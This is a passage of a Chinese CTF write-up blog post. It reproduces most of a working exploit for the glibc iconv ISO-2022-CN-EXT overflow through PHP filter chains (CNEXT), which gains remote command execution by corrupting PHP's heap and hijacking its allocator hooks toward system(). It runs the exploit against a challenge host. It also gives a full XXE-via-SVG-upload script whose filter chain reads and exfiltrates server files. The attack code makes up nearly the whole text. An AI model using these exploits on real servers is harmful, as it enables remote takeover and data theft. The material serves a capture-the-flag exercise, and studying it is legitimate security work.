
        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        _"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""_
_        _maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        _"""Obtains useful symbols and addresses from the file read primitive."""_
_        _regions = self.get_regions()

        LIBC_FILE = str(LocalPath(tempfile.gettempdir()) / "cnext-libc.so")

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        _"""Returns the first region whose name matches one of the given names."""_
_        _for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        _"""Downloads `remote_path` to `local_path`"""_
_        _data = self.get_file(remote_path)
        LocalPath(local_path).write_bytes(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE - 1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        _"""On each step of the exploit, a filter will process each chunk one after the_
_        other. Processing generally involves making some kind of operation either_
_        on the chunk or in a destination chunk of the same size. Each operation is_
_        applied on every single chunk; you cannot make PHP apply iconv on the first 10_
_        chunks and leave the rest in place. That's where the difficulties come from._

_        Keep in mind that we know the address of the main heap, and the libraries._
_        ASLR/PIE do not matter here._

_        The idea is to use the bug to make the freelist for chunks of size 0x100 point_
_        lower. For instance, we have the following free list:_

_        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00_

_        By triggering the bug from chunk ..900, we get:_

_        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???_

_        That's step 3._

_        Now, in order to control the free list, and make it point whereever we want,_
_        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,_
_        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48._
_        That's step 2._

_        Now, if we were to perform step2 an then step3 without anything else, we'd have_
_        a problem: after step2 has been processed, the free list goes bottom-up, like:_

_        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900_

_        We need to go the other way around. That's why we have step 1: it just allocates_
_        chunks. When they get freed, they reverse the free list. Now step2 allocates in_
_        reverse order, and therefore after step2, chunks are in the correct order._

_        Another problem comes up._

_        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT._
_        Since step2 creates chunks that contain pointers and pointers are generally not_
_        UTF-8, we cannot afford to have that conversion happen on the chunks of step2._
_        To avoid this, we put the chunks in step2 at the very end of the chain, and_
_        prefix them with `0\n`. When dechunked (right before the iconv), they will_
_        "disappear" from the chain, preserving them from the character set conversion_
_        and saving us from an unwanted processing error that would stop the processing_
_        chain._

_        After step3 we have a corrupted freelist with an arbitrary pointer into it. We_
_        don't know the precise layout of the heap, but we know that at the top of the_
_        heap resides a zend_mm_heap structure. We overwrite this structure in two ways._
_        Its free_slot[] array contains a pointer to each free list. By overwriting it,_
_        we can make PHP allocate chunks whereever we want. In addition, its custom_heap_
_        field contains pointers to hook functions for emalloc, efree, and erealloc_
_        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and_
_        then overwrite the use_custom_heap flag to make PHP use these function pointers_
_        instead. We can now do our favorite CTF technique and get a call to_
_        system(<chunk>)._
_        We make sure that the "system" command kills the current process to avoid other_
_        system() calls with random chunk data, leading to undefined behaviour._

_        The pad blocks just "pad" our allocations so that even if the heap of the_
_        process is in a random state, we still get contiguous, in order chunks for our_
_        exploit._

_        Therefore, the whole process described here CANNOT crash. Everything falls_
_        perfectly in place, and nothing can get in the middle of our allocations._
_        """_

_        _LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
                len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
                step4 * 3
                + step4_pwn
                + step4_custom_heap
                + step4_use_custom_heap
                + step3_overflow
                + pad * self.pad
                + step1 * 3
                + step2_write_ptr
                + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",

            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",

            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "/".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass

        msg_print()

        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

        msg_print()


def compress(data) -> bytes:
    _"""Returns data suitable for `zlib.inflate`._
_    """_
_    _# Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    _"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""_
_    _return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    _"""Emulates quoted-printable-encode._
_    """_
_    _return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    _"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""_
_    _if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    _"""Constructs a chunked representation of the given chunk. If size is given, the_
_    chunked representation has size `size`._
_    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`._
_    """_
_    _# The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    _"""A memory region."""_

_    _start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()
python .\cnext-exploits.py http://80-42cbf19b-1b74-46a3-8dac-382cf24083fa.challenge.ctfplus.cn/ "/readflag > /var/www/html/uploads/1.txt"

到这里想到,filter链是不是也是由于这个解析问题没成功

#!/usr/bin/env python3
import base64
import random
import re
import sys
import time
from pathlib import Path

import requests

BASE_URL = "http://80-79e7018e-7f81-4728-a474-b33de3b5d69b.challenge.ctfplus.cn/"
SAVE_RESPONSE_PATH = "avatar_response.svg"
FilterString = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp"
FilterString = FilterString.replace("|","/")
print(FilterString)


def random_credential(prefix: str = "u") -> tuple[str, str]:
    suffix = f"{int(time.time() * 1000)}{random.randint(1000, 9999)}"
    return f"{prefix}{suffix}", "Passw0rd!"


def build_svg(filter: str) -> bytes:
    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "{filter}">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="40">
  <text x="10" y="20">&xxe;</text>
</svg>
"""
    return payload.encode("utf-8")


def extract_base64(svg_text: str) -> str:
    match = re.search(r"<text[^>]*>([^<]+)</text>", svg_text, flags=re.I | re.S)
    if not match:
        raise ValueError("response does not contain a <text> node with exfiltrated data")
    return match.group(1).strip()


def register(session: requests.Session, base_url: str, username: str, password: str) -> None:
    res = session.post(
        f"{base_url}/api/register.php",
        json={"username": username, "password": password},
        timeout=15,
    )
    data = res.json()
    if not data.get("ok") and data.get("error") != "用户名已存在。":
        raise RuntimeError(f"register failed: {data}")


def login(session: requests.Session, base_url: str, username: str, password: str) -> None:
    res = session.post(
        f"{base_url}/api/login.php",
        json={"username": username, "password": password},
        timeout=15,
    )
    data = res.json()
    if not data.get("ok"):
        raise RuntimeError(f"login failed: {data}")


def upload_svg(session: requests.Session, base_url: str, filename: str, svg_bytes: bytes) -> str:
    files = {"file": (filename, svg_bytes, "image/svg+xml")}
    res = session.post(f"{base_url}/api/upload.php", files=files, timeout=20)
    data = res.json()
    if not data.get("ok"):
        raise RuntimeError(f"upload failed: {data}")
    name = data.get("name")
    if not name:
        raise RuntimeError(f"upload response missing file name: {data}")
    return name


def update_profile(session: requests.Session, base_url: str, display_name: str, avatar_name: str) -> None:
    res = session.post(
        f"{base_url}/api/update_profile.php",
        json={"display_name": display_name, "avatar_name": avatar_name},
        timeout=15,
    )
    data = res.json()
    if not data.get("ok"):
        raise RuntimeError(f"update profile failed: {data}")


def fetch_avatar(session: requests.Session, base_url: str) -> str:
    res = session.get(f"{base_url}/api/avatar.php", timeout=20)
    if res.status_code != 200:
        raise RuntimeError(f"avatar fetch failed: {res.status_code} {res.text[:200]}")
    return res.text


def main() -> int:
    base_url = BASE_URL.rstrip("/")
    session = requests.Session()
    username, password = random_credential()

    register(session, base_url, username, password)
    login(session, base_url, username, password)

    svg_bytes = build_svg(FilterString)
    upload_name = upload_svg(session, base_url, "xxe.svg", svg_bytes)
    update_profile(session, base_url, username, upload_name)
    avatar_response = fetch_avatar(session, base_url)

    if SAVE_RESPONSE_PATH:
        Path(SAVE_RESPONSE_PATH).write_text(avatar_response, encoding="utf-8")

    b64_data = extract_base64(avatar_response)
    content = base64.b64decode(b64_data)
    sys.stdout.write(content.decode("utf-8", errors="replace"))
    if content and not content.endswith(b"\n"):
        sys.stdout.write("\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

直接502了,那就到这了

posted @ 2026-03-31 19:28  xNftrOne  阅读(333)  评论(0)    收藏  举报